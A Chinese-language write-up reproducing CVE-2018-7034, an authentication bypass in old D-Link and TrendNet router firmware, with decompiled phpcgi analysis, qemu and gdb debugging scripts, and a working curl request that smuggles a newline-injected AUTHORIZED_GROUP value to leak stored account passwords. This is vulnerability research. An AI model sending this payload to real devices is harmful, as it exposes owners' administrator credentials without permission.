D-Link 登录信息泄露(权限绕过)漏洞复现
D-Link 登录信息泄露(权限绕过)漏洞复现
0x00 前言
漏洞编号CVE-2018-7034,影响D-Link和TrendNet的一些老设备。
这里分析的是TrendNet TEW751的固件,此外D-Link的一些老设备,如DIR645,DIR815等也都受该漏洞影响。
0x01 漏洞分析
找到存在漏洞的文件/htdocs/web/getcfg.php
如果 CACHE 不是 true,则检查用户权限。我们让AUTHORIZED_GROUP
> = 0 进入else里面,这里$_POST["SERVICES"]
是可控的。
在/htdocs/webinc/getcfg
中找到DEVICE.ACCOUNT.xml.php
这个文件
通过加载这个文件泄露账户密码敏感信息。我们需要让全局变量$AUTHORIZED_GROUP >= 0
的,我们传入的数据都是先通过登录验证文件htdocs/cgibin进行脚本语言解析后,再将解析好的URL结构发送给这里的php文件。所以需要分析cgibin
文件,由于这里的webserver运行的是php脚本,那么这个二进制文件中重点的就是处理php语言的部分,也就是phpcgi。
进入phpcgi_main函数:
sobj_new();创建了一个结构体,用于存放之后解析出来的各个字段。
_DWORD *sobj_new()
{
_DWORD *result; // $v0
result = malloc(0x18u);
if ( result )
{
result[2] = 0;
result[3] = 0;
result[4] = 0;
result[5] = 0;
result[1] = result;
*result = result;
}
return result;
}
这里圈出来的最先拼接的字符串是我们传进来的第一个参数,也就是传入main的argv[0](phpcgi)的后一个参数:
编写shell脚本来使用qemu进行动态调试
start.sh
脚本:
#!/bin/bash
# sudo ./start.sh
INPUT=$(python -c "print('SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1')")
LEN=$(echo $INPUT | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nusage: sudo $0\n"
exit 1
fi
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -0 "/phpcgi" \
-E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="/getcfg.php" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT ./htdocs/cgibin "/phpcgi" "/phpcgi" # 2>/dev/null
echo "run ok"
rm -f ./qemu
gdb.sh
脚本
# mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
file ./htdocs/cgibin
target remote 127.0.0.1:1234
运行:
sudo ./start.sh
gdb-multiarch -x gdb.sh
在sobj_add_string(v7, *(_DWORD *)(a2 + 4));
下断点
走到这个这个循环:
for ( i = a3; *i; ++i )
{
sobj_add_string(v6, "_SERVER_");
sobj_add_string(v6, *i);
sobj_add_char(v6, 10);
}
查看v6的地址
for 循环执行完后v6的结果
继续接着分析,就是读取请求方式的环境变量了,按照上面的分析,我们这里得是POST请求方式:
调用cgibin_parse_request
函数,跟进parse_uri
函数会对请求进行进一步的解析:
跟进cgibin_parse_request
函数
在 strncasecmp
处下断点看到这里的 v14
是 application/
,我们设置 application/
可以顺利通过这个判断
这里return
会跳到0x40445c
函数
接着分析0x40445c
,这里又有一个判断 a4 是之前传入的 &content_type[v12]
到了这里实际上就是 application/
后面的部分,所以我们完整的 CONTENT_TYPE
需要设置为 application/x-www-form-urlencoded
继续跟进到 sub_403A0C 函数中,发现其中有一个 read 函数
之后我们 POST 的请求就是使用这个 read 来读入的
然后会走到sub_403864
函数,这里的v9函数指针其实就是cgibin_parse_request
函数传进去的第一个参数sub_405AC0
:
在v9(v10,v16);
下断点查看,发现是跳到0x405ac0
跟进 sub_405AC0
函数,这里会按照 POST
请求对输入的内容进行解析,就是找到一个 =
再将前后分离并且拼接,然后将解析好的内容拼接到上面的字符串
回到 phpcgi_main
下面会有一个 sess_validate()
函数
按照下面路径我们会发现程序会打开一个 "/var/session/sesscfg"
文件,而我们模拟的是没有的,我们只能将它 patch
掉
也就是把 phpcgi_main
中 v13 = sess_validate();
这一行代码去掉
同时为了模拟真实情况,我们手动补上 li $v0,-1
使得原先的 v12 最后为 -1
patch后下段点到这里
"_POST_SERVICES=DEVICE.ACCOUNT\n_POST_attack=ture\nAUTHORIZED_GROUP=1\n\nAUTHORIZED_GROUP=-1"
就是说程序原本打算写入的是 AUTHORIZED_GROUP=-1,但是由于前面我们已经插入了一个AUTHORIZED_GROUP=1 以此被我们截胡了,让 AUTHORIZED_GROUP 变成了 1 由此绕过了检测
综上,我们POST发送的内容应该为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1。
0x02 漏洞演示
使用下面这条命令:
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip:port]/getcfg.php"
成功登录